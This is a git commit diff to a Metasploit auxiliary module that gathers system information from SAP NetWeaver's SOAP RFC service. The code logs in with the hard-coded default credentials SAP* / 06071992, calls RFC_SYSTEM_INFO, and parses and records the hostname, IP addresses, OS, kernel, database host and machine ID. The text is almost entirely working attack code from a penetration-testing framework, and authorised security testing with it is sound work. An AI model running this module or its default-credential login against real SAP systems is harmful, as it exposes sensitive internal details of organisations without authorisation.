final cleanup
jvazquez-r7
parent
e72946303e
commit
a35c640acf
|
|
@ -26,25 +26,32 @@ class Metasploit4 < Msf::Auxiliary
|
|||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'SAP SOAP RFC_SYSTEM_INFO',
|
||||
'Name' => 'SAP /sap/bc/soap/rfc SOAP Service RFC_SYSTEM_INFO Function Sensitive Information Gathering',
|
||||
'Description' => %q{'SAP NetWeaver could allow a remote attacker to obtain sensitive information.
|
||||
By sending a RFC_SYSTEM_INFO RfcCallReceive request to TCP port 33NN an attacker
|
||||
could obtain the operating system version, SAP version, and real IP address of the server.},
|
||||
'References' => [[ 'URL', 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ]],
|
||||
'Author' => [ 'Agnivesh Sathasivam','nmonkee' ],
|
||||
'License' => BSD_LICENSE
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2006-6010' ],
|
||||
[ 'URL', 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ]
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'Agnivesh Sathasivam',
|
||||
'nmonkee'
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USERNAME', [false, 'username ', 'SAP*']),
|
||||
OptString.new('PASSWORD', [false, 'password ', '06071992']),
|
||||
OptString.new('CLIENT', [false, 'client ', '001']),
|
||||
], self.class)
|
||||
register_autofilter_ports([ 8000 ])
|
||||
Opt::RPORT(8000),
|
||||
OptString.new('USERNAME', [true, 'Username', 'SAP*']),
|
||||
OptString.new('PASSWORD', [true, 'Password', '06071992']),
|
||||
OptString.new('CLIENT', [true, 'Client ', '001']),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
success = false
|
||||
client = datastore['CLIENT']
|
||||
data = '<?xml version="1.0" encoding="utf-8" ?>'
|
||||
data << '<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">'
|
||||
|
|
@ -76,73 +83,227 @@ class Metasploit4 < Msf::Auxiliary
|
|||
if res and res.code != 500 and res.code != 200
|
||||
# to do - implement error handlers for each status code, 404, 301, etc.
|
||||
print_error("[SAP] #{ip}:#{rport} - something went wrong!")
|
||||
return false
|
||||
else
|
||||
success = true
|
||||
return
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
print_error("[SAP] #{ip}:#{rport} - Unable to connect")
|
||||
return false
|
||||
return
|
||||
end
|
||||
if success
|
||||
print_status("[SAP] #{ip}:#{rport} - got response")
|
||||
saptbl = Msf::Ui::Console::Table.new(
|
||||
Msf::Ui::Console::Table::Style::Default,
|
||||
'Header' => "[SAP] System Info",
|
||||
'Prefix' => "\n",
|
||||
'Postfix' => "\n",
|
||||
'Indent' => 1,
|
||||
'Columns' =>[
|
||||
"Info",
|
||||
"Value"
|
||||
])
|
||||
response = res.body
|
||||
rfcproto = $1 if response =~ /<RFCPROTO>(.*)<\/RFCPROTO>/i
|
||||
rfcchartyp = $1 if response =~ /<RFCCHARTYP>(.*)<\/RFCCHARTYP>/i
|
||||
rfcinttyp = $1 if response =~ /<RFCINTTYP>(.*)<\/RFCINTTYP>/i
|
||||
rfcflotyp = $1 if response =~ /<RFCFLOTYP>(.*)<\/RFCFLOTYP>/i
|
||||
rfcdest = $1 if response =~ /<RFCDEST>(.*)<\/RFCDEST>/i
|
||||
rfchost = $1 if response =~ /<RFCHOST>(.*)<\/RFCHOST>/i
|
||||
rfcsysid = $1 if response =~ /<RFCSYSID>(.*)<\/RFCSYSID>/i
|
||||
rfcdatabs = $1 if response =~ /<RFCDATABS>(.*)<\/RFCDATABS>/i
|
||||
rfcdbhost = $1 if response =~ /<RFCDBHOST>(.*)<\/RFCDBHOST>/i
|
||||
rfcdbsys = $1 if response =~ /<RFCDBSYS>(.*)<\/RFCDBSYS>/i
|
||||
rfcsaprl = $1 if response =~ /<RFCSAPRL>(.*)<\/RFCSAPRL>/i
|
||||
rfcmach = $1 if response =~ /<RFCMACH>(.*)<\/RFCMACH>/i
|
||||
rfcopsys = $1 if response =~ /<RFCOPSYS>(.*)<\/RFCOPSYS>/i
|
||||
rfctzone = $1 if response =~ /<RFCTZONE>(.*)<\/RFCTZONE>/i
|
||||
rfcdayst = $1 if response =~ /<RFCDAYST>(.*)<\/RFCDAYST>/i
|
||||
rfcipaddr = $1 if response =~ /<RFCIPADDR>(.*)<\/RFCIPADDR>/i
|
||||
rfckernrl = $1 if response =~ /<RFCKERNRL>(.*)<\/RFCKERNRL>/i
|
||||
rfchost2 = $1 if response =~ /<RFCHOST2>(.*)<\/RFCHOST2>/i
|
||||
rfcsi_resv = $1 if response =~ /<RFCSI_RESV>(.*)<\/RFCSI_RESV>/i
|
||||
rfcipv6addr = $1 if response =~ /<RFCIPV6ADDR>(.*)<\/RFCIPV6ADDR>/i
|
||||
saptbl << [ "Release Status of SAP System", rfcsaprl ]
|
||||
saptbl << [ "RFC Log Version", rfcproto ]
|
||||
saptbl << [ "Kernel Release", rfckernrl ]
|
||||
saptbl << [ "Operating System", rfcopsys ]
|
||||
saptbl << [ "Database Host", rfcdbhost]
|
||||
saptbl << [ "Central Database System", rfcdbsys ]
|
||||
if rfcinttyp == 'LIT'
|
||||
saptbl << [ "Integer Format", "Little Endian" ]
|
||||
else
|
||||
saptbl << [ "Integer Format", "Big Endian" ]
|
||||
end
|
||||
saptbl << [ "Hostname", rfchost ]
|
||||
if rfcflotyp == 'IE3'
|
||||
saptbl << [ "Float Type Format", "IEEE" ]
|
||||
else
|
||||
saptbl << [ "Float Type Format", "IBM/370" ]
|
||||
end
|
||||
saptbl << [ "IPv4 Address", rfcipaddr ]
|
||||
saptbl << [ "IPv6 Address", rfcipv6addr ]
|
||||
saptbl << [ "System ID", rfcsysid ]
|
||||
saptbl << [ "RFC Destination", rfcdest ]
|
||||
saptbl << [ "Timezone", "#{rfctzone.gsub(/\s+/, "")} (diff from UTC in seconds)" ]
|
||||
saptbl << [ "Character Set", rfcchartyp ]
|
||||
saptbl << [ "Daylight Saving Time", rfcdayst ]
|
||||
saptbl << [ "Machine ID", rfcmach.gsub(/\s+/, "")]
|
||||
print(saptbl.to_s)
|
||||
print_status("[SAP] #{ip}:#{rport} - got response")
|
||||
saptbl = Msf::Ui::Console::Table.new(
|
||||
Msf::Ui::Console::Table::Style::Default,
|
||||
'Header' => "[SAP] System Info",
|
||||
'Prefix' => "\n",
|
||||
'Postfix' => "\n",
|
||||
'Indent' => 1,
|
||||
'Columns' =>[
|
||||
"Info",
|
||||
"Value"
|
||||
])
|
||||
response = res.body
|
||||
rfcproto = $1 if response =~ /<RFCPROTO>(.*)<\/RFCPROTO>/i
|
||||
rfcchartyp = $1 if response =~ /<RFCCHARTYP>(.*)<\/RFCCHARTYP>/i
|
||||
rfcinttyp = $1 if response =~ /<RFCINTTYP>(.*)<\/RFCINTTYP>/i
|
||||
rfcflotyp = $1 if response =~ /<RFCFLOTYP>(.*)<\/RFCFLOTYP>/i
|
||||
rfcdest = $1 if response =~ /<RFCDEST>(.*)<\/RFCDEST>/i
|
||||
rfchost = $1 if response =~ /<RFCHOST>(.*)<\/RFCHOST>/i
|
||||
rfcsysid = $1 if response =~ /<RFCSYSID>(.*)<\/RFCSYSID>/i
|
||||
rfcdbhost = $1 if response =~ /<RFCDBHOST>(.*)<\/RFCDBHOST>/i
|
||||
rfcdbsys = $1 if response =~ /<RFCDBSYS>(.*)<\/RFCDBSYS>/i
|
||||
rfcsaprl = $1 if response =~ /<RFCSAPRL>(.*)<\/RFCSAPRL>/i
|
||||
rfcmach = $1 if response =~ /<RFCMACH>(.*)<\/RFCMACH>/i
|
||||
rfcopsys = $1 if response =~ /<RFCOPSYS>(.*)<\/RFCOPSYS>/i
|
||||
rfctzone = $1 if response =~ /<RFCTZONE>(.*)<\/RFCTZONE>/i
|
||||
rfcdayst = $1 if response =~ /<RFCDAYST>(.*)<\/RFCDAYST>/i
|
||||
rfcipaddr = $1 if response =~ /<RFCIPADDR>(.*)<\/RFCIPADDR>/i
|
||||
rfckernrl = $1 if response =~ /<RFCKERNRL>(.*)<\/RFCKERNRL>/i
|
||||
rfcipv6addr = $1 if response =~ /<RFCIPV6ADDR>(.*)<\/RFCIPV6ADDR>/i
|
||||
saptbl << [ "Release Status of SAP System", rfcsaprl ]
|
||||
saptbl << [ "RFC Log Version", rfcproto ]
|
||||
saptbl << [ "Kernel Release", rfckernrl ]
|
||||
saptbl << [ "Operating System", rfcopsys ]
|
||||
saptbl << [ "Database Host", rfcdbhost]
|
||||
saptbl << [ "Central Database System", rfcdbsys ]
|
||||
if rfcinttyp == 'LIT'
|
||||
saptbl << [ "Integer Format", "Little Endian" ]
|
||||
else
|
||||
saptbl << [ "Integer Format", "Big Endian" ]
|
||||
end
|
||||
saptbl << [ "Hostname", rfchost ]
|
||||
if rfcflotyp == 'IE3'
|
||||
saptbl << [ "Float Type Format", "IEEE" ]
|
||||
else
|
||||
saptbl << [ "Float Type Format", "IBM/370" ]
|
||||
end
|
||||
saptbl << [ "IPv4 Address", rfcipaddr ]
|
||||
saptbl << [ "IPv6 Address", rfcipv6addr ]
|
||||
saptbl << [ "System ID", rfcsysid ]
|
||||
saptbl << [ "RFC Destination", rfcdest ]
|
||||
saptbl << [ "Timezone", "#{rfctzone.gsub(/\s+/, "")} (diff from UTC in seconds)" ]
|
||||
saptbl << [ "Character Set", rfcchartyp ]
|
||||
saptbl << [ "Daylight Saving Time", rfcdayst ]
|
||||
saptbl << [ "Machine ID", rfcmach.gsub(/\s+/, "")]
|
||||
print(saptbl.to_s)
|
||||
|
||||
report_note(
|
||||
:host => ip,
|
||||
:proto => 'tcp',
|
||||
:port => rport,
|
||||
:sname => 'sap',
|
||||
:type => 'sap.version.release',
|
||||
:data => "Release Status of SAP System: #{rfcsaprl}"
|
||||
)
|
||||
|
||||
report_note(
|
||||
:host => ip,
|
||||
:proto => 'tcp',
|
||||
:port => rport,
|
||||
:sname => 'sap',
|
||||
:type => 'sap.version.rfc_log',
|
||||
:data => "RFC Log Version: #{rfcproto}"
|
||||
)
|
||||
|
||||
report_note(
|
||||
:host => ip,
|
||||
:proto => 'tcp',
|
||||
:port => rport,
|
||||
:sname => 'sap',
|
||||
:type => 'sap.version.kernel',
|
||||
:data => "Kernel Release: #{rfckernrl}"
|
||||
)
|
||||
|
||||
report_note(
|
||||
:host => ip,
|
||||
:proto => 'tcp',
|
||||
:port => rport,
|
||||
:sname => 'sap',
|
||||
:type => 'system.os',
|
||||
:data => "Operating System: #{rfcopsys}"
|
||||
)
|
||||
|
||||
report_note(
|
||||
:host => ip,
|
||||
:proto => 'tcp',
|
||||
:port => rport,
|
||||
:type => 'sap.db.hostname',
|
||||
:data => "Database Host: #{rfcdbhost}"
|
||||
)
|
||||
|
||||
report_note(
|
||||
:host => ip,
|
||||
:proto => 'tcp',
|
||||
:port => rport,
|
||||
:type => 'sap.db_system',
|
||||
:data => "Central Database System: #{rfcdbsys}"
|
||||
)
|
||||
|
||||
if rfcinttyp == 'LIT'
|
||||
report_note(
|
||||
:host => ip,
|
||||
:proto => 'tcp',
|
||||
:port => rport,
|
||||
:type => 'system.endianness',
|
||||
:data => "Integer Format: Little Endian"
|
||||
)
|
||||
else
|
||||
report_note(
|
||||
:host => ip,
|
||||
:proto => 'tcp',
|
||||
:port => rport,
|
||||
:type => 'system.endianness',
|
||||
:data => "Integer Format: Big Endian"
|
||||
)
|
||||
end
|
||||
|
||||
report_note(
|
||||
:host => ip,
|
||||
:proto => 'tcp',
|
||||
:port => rport,
|
||||
:type => 'system.hostname',
|
||||
:data => "Hostname: #{rfchost}"
|
||||
)
|
||||
|
||||
if rfcflotyp == 'IE3'
|
||||
report_note(
|
||||
:host => ip,
|
||||
:proto => 'tcp',
|
||||
:port => rport,
|
||||
:type => 'system.float_type',
|
||||
:data => "Float Type Format: IEEE"
|
||||
)
|
||||
else
|
||||
report_note(
|
||||
:host => ip,
|
||||
:proto => 'tcp',
|
||||
:port => rport,
|
||||
:type => 'system.float_type',
|
||||
:data => "Float Type Format: IBM/370"
|
||||
)
|
||||
end
|
||||
|
||||
report_note(
|
||||
:host => ip,
|
||||
:proto => 'tcp',
|
||||
:port => rport,
|
||||
:type => 'system.ip.v4',
|
||||
:data => "IPv4 Address: #{rfcipaddr}"
|
||||
)
|
||||
|
||||
report_note(
|
||||
:host => ip,
|
||||
:proto => 'tcp',
|
||||
:port => rport,
|
||||
:type => 'system.ip.v6',
|
||||
:data => "IPv6 Address: #{rfcipv6addr}"
|
||||
)
|
||||
|
||||
report_note(
|
||||
:host => ip,
|
||||
:proto => 'tcp',
|
||||
:port => rport,
|
||||
:type => 'sap.instance',
|
||||
:data => "System ID: #{rfcsysid}"
|
||||
)
|
||||
|
||||
report_note(
|
||||
:host => ip,
|
||||
:proto => 'tcp',
|
||||
:port => rport,
|
||||
:type => 'sap.rfc.destination',
|
||||
:data => "RFC Destination: #{rfcdest}"
|
||||
)
|
||||
|
||||
report_note(
|
||||
:host => ip,
|
||||
:proto => 'tcp',
|
||||
:port => rport,
|
||||
:type => 'system.timezone',
|
||||
:data => "Timezone: #{rfctzone.gsub(/\s+/, "")} (diff from UTC in seconds)"
|
||||
)
|
||||
|
||||
report_note(
|
||||
:host => ip,
|
||||
:proto => 'tcp',
|
||||
:port => rport,
|
||||
:type => 'system.charset',
|
||||
:data => "Character Set: #{rfcchartyp}"
|
||||
)
|
||||
|
||||
report_note(
|
||||
:host => ip,
|
||||
:proto => 'tcp',
|
||||
:port => rport,
|
||||
:type => 'sap.daylight_saving_time',
|
||||
:data => "Daylight Saving Time: #{rfcdayst}"
|
||||
)
|
||||
|
||||
|
||||
report_note(
|
||||
:host => ip,
|
||||
:proto => 'tcp',
|
||||
:port => rport,
|
||||
:type => 'sap.machine_id',
|
||||
:data => "Machine ID: #{rfcmach.gsub(/\s+/, "")}"
|
||||
)
|
||||
end
|
||||
end
|
||||
|
|
|
|||
Loading…
Reference in New Issue